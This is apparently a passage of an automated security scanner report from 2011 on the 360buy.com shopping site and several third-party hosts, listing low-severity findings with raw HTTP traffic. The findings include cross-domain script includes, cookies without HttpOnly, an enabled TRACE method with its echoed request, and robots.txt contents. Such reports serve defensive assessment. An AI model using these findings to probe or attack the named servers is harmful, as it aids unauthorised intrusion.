Vary: Accept-Encoding
Cache-Control: private
X-Cache: MISS from BJ-B28-WWW-156.360buy.com
X-Cache: MISS from TJ-HY-WWW-34.360buy.com
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<meta http-equi
...[SNIP]...
</noscript>
<script type="text/javascript" src="http://misc.360buyimg.com/201006/js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="http://misc.360buyimg.com/201007/js/g.base.js"></script>
...[SNIP]...

5.3. http://www.360buy.com/home.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /home.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /home.html HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:17:41 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=60
Last-Modified: Tue, 16 Aug 2011 16:17:07 GMT
Vary: Content-Type
X-Cache: HIT from BJ-B28-WWW-164.360buy.com
Age: 1
Content-Length: 92919
X-Cache: HIT from TJ-HY-WWW-45.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
</noscript>
<script type="text/javascript" src="http://misc.360buyimg.com/201006/js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="http://misc.360buyimg.com/201007/js/g.base.js"></script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://misc.360buyimg.com/201007/js/jd.lib.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

5.4. http://www.360buy.com/products/1620-1621-1629.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /products/1620-1621-1629.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /products/1620-1621-1629.html HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:11:00 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=1800
Last-Modified: Tue, 16 Aug 2011 16:11:00 GMT
Vary: Content-Type
X-Cache: EXPIRED from BJ-B28-WWW-153.360buy.com
Age: 1
Content-Length: 95316
X-Cache: HIT from TJ-HY-WWW-93.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
</noscript>

<script type="text/javascript" src="http://misc.360buyimg.com/201006/js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="http://misc.360buyimg.com/201007/js/g.base.js"></script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://misc.360buyimg.com/201007/js/jd.lib.js"></script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://misc.360buyimg.com/201007/js/p.plist20110721.js?t=20110811"></script>
...[SNIP]...

5.5. http://www.360buy.com/script/AD_miaozhen.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /script/AD_miaozhen.js

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /script/AD_miaozhen.js?ref=1620&ref1=1621&ref2=1629 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 15:20:13 GMT
Content-Type: application/x-javascript; charset=gb2312
Vary: Accept-Encoding
Cache-Control: max-age=86400
Last-Modified: Fri, 20 Aug 2010 06:28:38 GMT
X-Cache: HIT from BJ-B28-WWW-152.360buy.com
Age: 1
Content-Length: 1087
X-Cache: HIT from TJ-HY-WWW-44.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

// JavaScript Document
var url = window.location.href.split("/")[4];
var id1=url.split('-')[0];
var id2=url.split('-')[1];
var id3=url.split('-')[2];

if(id3=="731"){
MiaoZhenAdShow(8410);
...[SNIP]...
</div><script type='text/javascript' src='http://360buy.a.miaozhen.com/a.gif?l="+ id +"'></script>
...[SNIP]...

6. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://g.miaozhen.com
Path:   /x.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /x.gif?0.152707828674465^b=111_2^c=http://www.360buy.com/^d=^f=10^h=1920*1200^j=en^p=0s0a^k=389^a============ HTTP/1.1
Host: g.miaozhen.com
Proxy-Connection: keep-alive
Referer: http://js.miaozhen.com/a.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: a=eksbJ+X+---I; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Set-Cookie: tsa=1108170016591000824814697; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Set-Cookie: c=978B8B8FC5D0D0888888D1CCC9CF9D8A86D19C9092D0; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Content-Type: text/html
Content-Length: 111
Date: Tue, 16 Aug 2011 16:17:00 GMT
Server: Apache4MiaoZhen 2.2.4

a=eksbJ%2bX%2b---I&tsa=1108170016591000824814697&c=978B8B8FC5D0D0888888D1CCC9CF9D8A86D19C9092D0&ct=201108170017

7. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://chongzhi.360buy.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: chongzhi.360buy.com
Cookie: 6d5728162820142f

Response

HTTP/1.1 200 OK
Date: Tue, 16 Aug 2011 16:17:06 GMT
Server: Apache
Content-Type: message/http
Connection: close

TRACE / HTTP/1.0
Host: chongzhi.360buy.com
Cookie: 6d5728162820142f; rush=1
Connection: Keep-alive
X-Forwarded-For: 50.23.123.106


8. Credit card numbers disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /lishi.aspx

Issue detail

The following credit card numbers were disclosed in the response:

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

Request

GET /lishi.aspx?callback=category.getBrandService&id=a,915,925^b,916,926^c,917,927^d,918,928^e,919,929^f,920,930^g,921,931^h,922,932^i,923,933^j,924,934^k,2096,2097^l,3512,3513 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:02:30 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=3600
Last-Modified: Tue, 16 Aug 2011 16:02:19 GMT
Vary: Content-Type
Age: 1
Content-Length: 14672
X-Cache: HIT from TJ-HY-WWW-32.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

category.getBrandService({'data':[{id:'a',b:[{u:'http://market.360buy.com/zhuanmai/joyoung/index.aspx',n:'..........'},{u:'http://market.360buy.com/zhuanmai/tcl/index.aspx',n:'TCL'},{u:'http://market.
...[SNIP]...
0buy.com/ilike/djd781002/index.html',n:'..............--............'},{u:'http://www.360buy.com/news.aspx?id=4537',n:'......,........................'}]},{id:'b',b:[{u:'http://www.360buy.com/products/652-653-655-0-1270-0-0-0-0-0-1-1-1.html',n:'........'},{u:'http://www.360buy.com/products/652-653-655-0-13770-0-0-0-0-0-1-1-1.html',n:'....'},{u:'http://www.360buy.com/products/652-653-655-0-1543-0-0-0-0-0-1-1-1.html',n:'..
...[SNIP]...
p://www.360buy.com/products/652-653-655-0-52516-0-0-0-0-0-1-1-1.html',n:'HTC'},{u:'http://www.360buy.com/products/652-653-655-0-13732-0-0-0-0-0-1-1-1.html',n:'....'},{u:'http://www.360buy.com/products/652-653-655-0-13733-0-0-0-0-0-1-1-1.html',n:'........'},{u:'http://search.360buy.com/Search?keyword=%C1%AA%CD%A8%CA%D6%BB%FA&ev=&page=1',n:'........'},{u:'http://search.360buy.com/Search?keyword=%B5%E7%D0%C5%B6%A8%D6%C6',n
...[SNIP]...

9. Robots.txt file  previous  next
There are 9 instances of this issue:

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.


9.1. http://clients1.google.com/complete/search  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://clients1.google.com
Path:   /complete/search

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: clients1.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Thu, 11 Aug 2011 21:56:40 GMT
Date: Tue, 16 Aug 2011 16:15:57 GMT
Expires: Tue, 16 Aug 2011 16:15:57 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

9.2. http://feeds.bbci.co.uk/news/rss.xml  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://feeds.bbci.co.uk
Path:   /news/rss.xml

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: feeds.bbci.co.uk

Response

HTTP/1.0 200 OK
Last-Modified: Thu, 24 Feb 2011 17:32:01 GMT
Server: Apache
Content-Length: 464
Content-Type: text/plain
Cache-Control: max-age=2426
Expires: Tue, 16 Aug 2011 17:03:02 GMT
Date: Tue, 16 Aug 2011 16:22:36 GMT
Connection: close

User-agent: *
Disallow: /cgi-bin
Disallow: /cgi-perl
Disallow: /lexaurus
Disallow: /mpapps
Disallow: /mpsearch
Disallow: /mtk
Disallow: /weatherbeta
Disallow: /weather/hi/about/newsid_7760000/7
...[SNIP]...

9.3. http://newsrss.bbc.co.uk/rss/newsonline_world_edition/front_page/rss.xml  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://newsrss.bbc.co.uk
Path:   /rss/newsonline_world_edition/front_page/rss.xml

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: newsrss.bbc.co.uk

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Tue, 17 Mar 2009 16:12:05 GMT
Content-Length: 26
Content-Type: text/plain
Cache-Control: max-age=82276917
Expires: Tue, 25 Mar 2014 23:04:33 GMT
Date: Tue, 16 Aug 2011 16:22:36 GMT
Connection: close

User-agent: *
Disallow: /

9.4. http://passport.360buy.com/new/hello.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://passport.360buy.com
Path:   /new/hello.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: passport.360buy.com

Response

HTTP/1.1 200 OK
Content-Length: 27
Content-Type: text/plain
Last-Modified: Wed, 15 Oct 2008 05:48:59 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
Date: Tue, 16 Aug 2011 16:18:07 GMT
Connection: close

User-agent: *
Disallow:/

9.5. http://price.360buy.com/ows/GetIPLocation.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://price.360buy.com
Path:   /ows/GetIPLocation.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: price.360buy.com

Response

HTTP/1.0 200 OK
Server: jdws
Date: Mon, 15 Aug 2011 19:04:56 GMT
Content-Type: text/plain; charset=gb2312
Content-Length: 27
Last-Modified: Fri, 17 Oct 2008 06:12:59 GMT
Accept-Ranges: bytes
X-Cache: MISS from BJ-B28-WWW-164.360buy.com
Age: 1
X-Cache: HIT from TJ-HY-WWW-94.360buy.com
Connection: close

User-agent: *
Disallow:/

9.6. http://safebrowsing-cache.google.com/safebrowsing/rd/ChVnb29nLWJhZGJpbnVybC1zaGF2YXIQARjFEiDGEjIFRQkAAAM  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://safebrowsing-cache.google.com
Path:   /safebrowsing/rd/ChVnb29nLWJhZGJpbnVybC1zaGF2YXIQARjFEiDGEjIFRQkAAAM

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: safebrowsing-cache.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Thu, 11 Aug 2011 21:56:40 GMT
Date: Tue, 16 Aug 2011 16:17:27 GMT
Expires: Tue, 16 Aug 2011 16:17:27 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

9.7. http://safebrowsing.clients.google.com/safebrowsing/downloads  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://safebrowsing.clients.google.com
Path:   /safebrowsing/downloads

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: safebrowsing.clients.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Thu, 11 Aug 2011 21:56:40 GMT
Date: Tue, 16 Aug 2011 16:17:26 GMT
Expires: Tue, 16 Aug 2011 16:17:26 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

9.8. http://toolbarqueries.clients.google.com/tbproxy/af/query  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://toolbarqueries.clients.google.com
Path:   /tbproxy/af/query

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: toolbarqueries.clients.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Thu, 11 Aug 2011 21:56:40 GMT
Date: Tue, 16 Aug 2011 16:17:04 GMT
Expires: Tue, 16 Aug 2011 16:17:04 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

9.9. http://www.360buy.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.360buy.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain; charset=gb2312
Content-Length: 31
Accept-Ranges: bytes
Server: jdws
Date: Tue, 16 Aug 2011 14:59:36 GMT
Last-Modified: Tue, 03 Feb 2009 14:23:26 GMT
X-Cache: MISS from BJ-B28-WWW-165.360buy.com
Age: 1
X-Cache: HIT from TJ-HY-WWW-96.360buy.com
Connection: close

User-agent: BadBot
Disallow:

10. HTML does not specify charset  previous  next
There are 3 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


10.1. http://360buy.a.miaozhen.com/a.gif  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://360buy.a.miaozhen.com
Path:   /a.gif

Request

GET /a.gif?l=10536^7890 HTTP/1.1
Host: 360buy.a.miaozhen.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1133
Date: Tue, 16 Aug 2011 16:17:05 GMT
Server: Apache4MiaoZhen 2.2.4

(function() {if (!('gi_ga' in window)) {var s = document.createElement('script');s.type = 'text/javascript';s.src = 'http://misc.360buyimg.com/201007/js/g.base.js';document.getElementsByTagName('head'
...[SNIP]...

10.2. http://360buy.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://360buy.com
Path:   /

Request

GET / HTTP/1.1
Host: 360buy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Cache-Control: max-age=8640000
Content-Length: 405
Content-Type: text/html
Content-Location: http://360buy.com/index.htm
Last-Modified: Sun, 26 Sep 2010 10:53:37 GMT
Accept-Ranges: bytes
Server: jdws
Date: Tue, 16 Aug 2011 15:17:11 GMT
Age: 1
X-Cache: HIT from TJ-HY-WWW-97.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" >

<head runat="server">
...[SNIP]...

10.3. http://g.miaozhen.com/x.gif  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://g.miaozhen.com
Path:   /x.gif

Request

GET /x.gif?0.152707828674465^b=111_2^c=http://www.360buy.com/^d=^f=10^h=1920*1200^j=en^p=0s0a^k=389^a============ HTTP/1.1
Host: g.miaozhen.com
Proxy-Connection: keep-alive
Referer: http://js.miaozhen.com/a.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: a=eksbJ+X+---I; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Set-Cookie: tsa=1108170016591000824814697; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Set-Cookie: c=978B8B8FC5D0D0888888D1CCC9CF9D8A86D19C9092D0; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Content-Type: text/html
Content-Length: 111
Date: Tue, 16 Aug 2011 16:17:00 GMT
Server: Apache4MiaoZhen 2.2.4

a=eksbJ%2bX%2b---I&tsa=1108170016591000824814697&c=978B8B8FC5D0D0888888D1CCC9CF9D8A86D19C9092D0&ct=201108170017

11. HTML uses unrecognised charset  previous  next
There are 12 instances of this issue:

Issue background

Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


11.1. http://360buy.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://360buy.com
Path:   /favicon.ico

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /favicon.ico HTTP/1.1
Host: 360buy.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: jdws
Date: Tue, 16 Aug 2011 16:16:57 GMT
X-Cache: MISS from TJ-HY-WWW-44.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>............</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312">
<STYLE type="text/css">
...[SNIP]...

11.2. http://chongzhi.360buy.com/index-1.htm  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://chongzhi.360buy.com
Path:   /index-1.htm

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /index-1.htm HTTP/1.1
Host: chongzhi.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 16 Aug 2011 16:17:04 GMT
Server: Apache
Accept-Ranges: bytes
ETag: W/"16101-1313044388000"
Last-Modified: Thu, 11 Aug 2011 06:33:08 GMT
Vary: Accept-Encoding,User-Agent
Content-Length: 16101
Content-Type: text/html
Connection: Keep-alive
Keep-Alive: timeout=15, max=100


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"/>
<title>
...[SNIP]...

11.3. http://passport.360buy.com/new/hello.aspx  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://passport.360buy.com
Path:   /new/hello.aspx

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /new/hello.aspx?para=loginfo HTTP/1.1
Host: passport.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 237
Content-Type: text/html; charset=gb2312
Server: Microsoft-IIS/6.0
X-AspNet-Version: 2.0.50727
Date: Tue, 16 Aug 2011 16:17:26 GMT
Connection: close

(function(){var id=document.getElementById('loginfo');if(id){id.innerHTML='........................<span><a href="javascript:login();">[......]</a>..........<a href="javascript:regist();" class="link-
...[SNIP]...

